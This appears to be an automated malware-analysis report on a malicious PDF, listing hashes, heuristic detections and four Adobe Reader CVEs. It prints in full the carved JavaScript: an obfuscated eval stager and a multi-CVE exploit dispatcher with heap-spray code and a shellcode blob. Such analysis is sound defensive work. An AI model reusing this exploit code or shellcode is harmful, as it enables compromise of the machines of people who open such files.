Malicious PDF — malware analysis report

Static analysis result for SHA-256 71fa01db3e98732f…

MALICIOUS

PDF

25.9 KB Created: 2011-72-51 03:25:00
MD5: 891c701eb5551611f35cbd2bc37bc358 SHA-1: bfd8aae5ffc285b6623609c93fd3bd82f6ce3671 SHA-256: 71fa01db3e98732f36dc877633dfea459c377748ef4408adbc6a5b6ca53a9154
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF document contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The JavaScript is designed to execute arbitrary code, likely to download and run a secondary malicious payload. The use of multiple CVEs and JavaScript exploitation points to a sophisticated dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
3213a2dc035c2ad54e4fb0b31ecec7428bacf04c00da422fdeb6d7580860a0c9		 pdf-javascript-stream PDF /JS object 1 at offset 0x62F9 940 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var DorOhifohoruwumyru='';
var rywapYgie=this.producer.substr(0,4);
for(var VivatqAnetivedoxo in this) {
	if (VivatqAnetivedoxo=='rywapYgie')
		LarefeciNys=eval(VivatqAnetivedoxo.replace('rywapYgi','')+'val');
}
MibiZazeve = LarefeciNys('new Date(2007,2,51,2,12,5)');
LoxvyjylozuqicobiTos = 'thi'+MibiZazeve.getHours()+'ducer';
RyvypatomeliEryp=LarefeciNys(LoxvyjylozuqicobiTos.replace(2,'s.pro'));
RyvypatomeliEryp = RyvypatomeliEryp.replace(/t/g,'2');
DybehAp = RyvypatomeliEryp.substr(4).split('s');
var ToxohUcimuvuba = '';
g = MibiZazeve.getHours()*2;
var TisCytaafobyv = 'fro'+MibiZazeve.getHours()+'arCode';
TisCytaafobyv=TisCytaafobyv.replace(2,'mCh');
RelikYvpiualiw=String[TisCytaafobyv];
for (VivatqAnetivedoxo = 0; VivatqAnetivedoxo < DybehAp.length; VivatqAnetivedoxo++) {
	QapucYdan = LarefeciNys(DybehAp[VivatqAnetivedoxo]);
	ToxohUcimuvuba += RelikYvpiualiw(QapucYdan);
}
LarefeciNys(ToxohUcimuvuba);
info_arithmetic_stage_000.js
881dd622cc761ba2b069d72672e124c5512bdf4010fbad0267540f5fd8dd03e6		 deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3692 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u48B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u5834%uE2AA%uC3FA%uE5E8%uFFFF%uB1FF%u5954%u5858%uD906%u04B4%u5859%uD158%uD5BF%u4817%u37D5%u690C%u0F83%u0B09%u0B0B%u0B0B%u0B0B%u0B0D%u300B%u595C%u5858%u0E0D%u300B%u3637%u5858%u2D30%u342A%u0C35%uD630%u5616%uB0B4%u5810%u5858%uB008%u5824%u5858%u88A7%u9CDB%u3050%uB717%u5D17%uB008%u5834%u5858%u88A7%u98DD%u4F2D%u0C32%uAB01%u30F2%uA62A%u4EEB%u45B0%u5858%u0858%u09B0%u5858%uA758%u0B88%uA632%uD130%u5937%uB0E5%u5850%u5858%uB008%u5864%u5858%u88A7%u6938%u3C98%u08D3%uD368%u540A%u0AD3%uD34C%u702A%u40E1%u5858%u6958%u69A7%uF498%u3964%u5A24%u7874%u9799%u5955%uBA9F%uD9A8%u03A7%u12E4%uD332%u481A%u4AD3%u812D%u1CD1%u447C%u9B39%uD338%u7C34%uD37C%u641D%u0CD3%u205D%uB259%u12D3%uD340%u7802%uB359%u6CBB%uD311%uD36C%uB659%uA769%u9869%uF4A4%u98DC%u5F2C%u9799%u5955%uB39F%u63AC%u7C24%u2D70%uD3B9%u7C02%uB359%uD33E%u1354%u02D3%u5944%uD3B3%uD35C%uB059%u1CD1%u447C%u9A39%u5850%uB7B0%uA7A6%u30A7%u2C2C%u6228%u7777%u3431%u332D%u2E3D%u3B31%u7630%u223B%u3B76%u773B%u2D37%u762C%u3028%u6728%u6539%u0909%u1D33%u331D%u123B%u191A%u6565%u287E%u6F65%u0058';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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